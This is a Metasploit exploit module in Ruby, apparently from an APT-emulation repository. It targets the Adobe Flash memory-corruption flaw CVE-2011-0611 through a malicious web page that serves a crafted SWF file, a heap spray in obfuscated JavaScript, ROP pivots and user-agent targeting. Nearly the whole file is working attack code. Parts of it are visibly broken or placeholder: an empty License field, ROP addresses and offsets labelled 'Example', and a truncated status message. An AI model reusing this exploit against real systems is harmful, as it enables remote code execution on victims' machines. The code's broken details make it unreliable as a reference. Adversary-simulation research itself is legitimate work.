APTs-Adversary-Simulation/Russian APT/Energetic-Bear-APT/EnergeticBear_exploit.rb

# this Modified version of the exploit CVE-2011-0611 based on Windows 10
# the original exploit from : https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb

# Author : S3N4T0R
# sudo cp EnergeticBear_exploit.rb /usr/share/metasploit-framework/modules/exploits
# sudo updatedb
# msf6 > search EnergeticBear_exploit

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
      'Description'    => %q{
          This module exploits a memory corruption vulnerability (CVE-2011-0611) in Adobe Flash Player
 versions 10.2.153.1 and earlier. The vulnerability allows for arbitrary code execution by
 exploiting a flaw in how Adobe Flash Player handles certain crafted .swf files. By leveraging
 this vulnerability, an attacker can execute arbitrary code on the victim's system.
      },
      'License'        => ,
      'Author'         =>
        [
          'S3N4T0R',
        ],
      'References'     =>
        [
          [ 'CVE', '2011-0611' ],
          [ 'OSVDB', '71686' ],
          [ 'BID', '47314' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
          [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
          [ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
          [ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
          [ 'URL', 'http://web.archive.org/web/20110417154057/http://secunia.com:80/blog/210/' ],
        ],
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
        },
      'DefaultOptions' =>
        {
          'EXITFUNC'         => "process",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'IE 10 on Windows 10',
            {
              'Rop'     => true,
              'Pivot'   => 0x7c348b05,  # Example ROP gadget address
              'Offset1' => '0x5E2',     # Example offset
              'Offset2' => '0x02',      # Example offset
              'Max1'    => '0x150',     # Example spray size
              'Max2'    => '0x200'      # Example spray size
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-04-11',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
      ], self.class
    )

  end

  def exploit
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-0611.swf")
    f = File.open(path, "rb")
    @trigger = f.read(f.stat.size)
    f.close
    super
  end

  def get_target(request)
    agent = request.headers['User-Agent']

    if agent =~ /Windows NT 10\.0/ and agent =~ /MSIE 10\.0/
      # Windows 10 with IE 10
      return targets[1]
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    #Set default target
    my_target = target

    #If user chooses automatic target, we choose one based on user agent
    if my_target.name =~ /Automatic/
      my_target = get_target(request)
      if my_target.nil?
        print_error("Sending 404 for unknown user-agent")
        send_not_found(cli)
        return
      end
      vprint_status("Target selected: #{my_target.name}")
    end

    vprint_status("URL: #{request.uri}")

    if request.uri =~ /\.swf$/
      #Browser requests our trigger file, why not
      print_status("Sending trigger SWF...")
      send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
      return
    end

    #Targets that don't need ROP
    pivot  = "\xb8\x0c\x0c\x0c\x0c"  #MOV EAX,0x0c0c0c0c
    pivot << "\xff\xe0"              #JMP EAX
    pivot << "\x41"                  #Pad

    #Targets that need ROP
    if my_target['Rop']
      #Target Addr=0x11111110
      pivot =
      [
        0x0c0c0c0c,          # Padding. Value for ESP after the XCHG pivot
        my_target['Pivot'],  # ROP Pivot
        0x7c346b52,          # EAX (POP ESP; RETN)
      ].pack('V*')

      #Target Addr=0x0c0c0c0c
      p = generate_rop_payload('java', payload.encoded)
    else
      p = payload.encoded
    end

    arch = Rex::Arch.endian(my_target.arch)

    shellcode = Rex::Text.to_unescape(p, arch)
    pivot = Rex::Text.to_unescape(pivot, arch)

    #Extract string based on target
    if my_target.name == 'IE 10 on Windows 10'
      js_extract_str = "var block = shellcode.substring(0, (0x7ff00-6)/2);"
    else
      js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
    end

    randnop = rand_text_alpha(rand(100) + 1)
    js_nops = Rex::Text.to_unescape("\x0c"*4)

    js = <<-JS
    function heap_spray(heaplib, nops, code, offset, max) {
      while (nops.length < 0x2000) nops += nops;
      var offset = nops.substring(0, offset);
      var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length);
      while (shellcode.length < 0x40000) shellcode += shellcode;
      #{js_extract_str}
      heaplib.gc();
      for (var i=1; i<max; i++) {
        heaplib.alloc(block);
      }
    }

    var heap_obj = new heapLib.ie(0x20000);
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});
    var code = unescape("#{shellcode}");
    heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
    var fake_pointers = unescape("#{pivot}");
    heap_spray(heap_obj, fake_pointers, fake_pointers, #{my_target['Offset2']}, #{my_target['Max2']});
    JS

    js = heaplib(js, {:noobfu => true} )

    #Javascript obfuscation is optional
    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"

    html = <<-EOS
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
    <param name="movie" value="#{trigger_file_name}" />
    <embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
    pluginspage="http://www.macromedia.com/go/getflashplayer">
    </embed>
    </body>
    </html>
    EOS

    html = html.gsub(/^ {4}/, "")

    print_status("Sending HTML to...")
    send_response(cli, html, {'Content-Type' => "text/html"} )
  end
end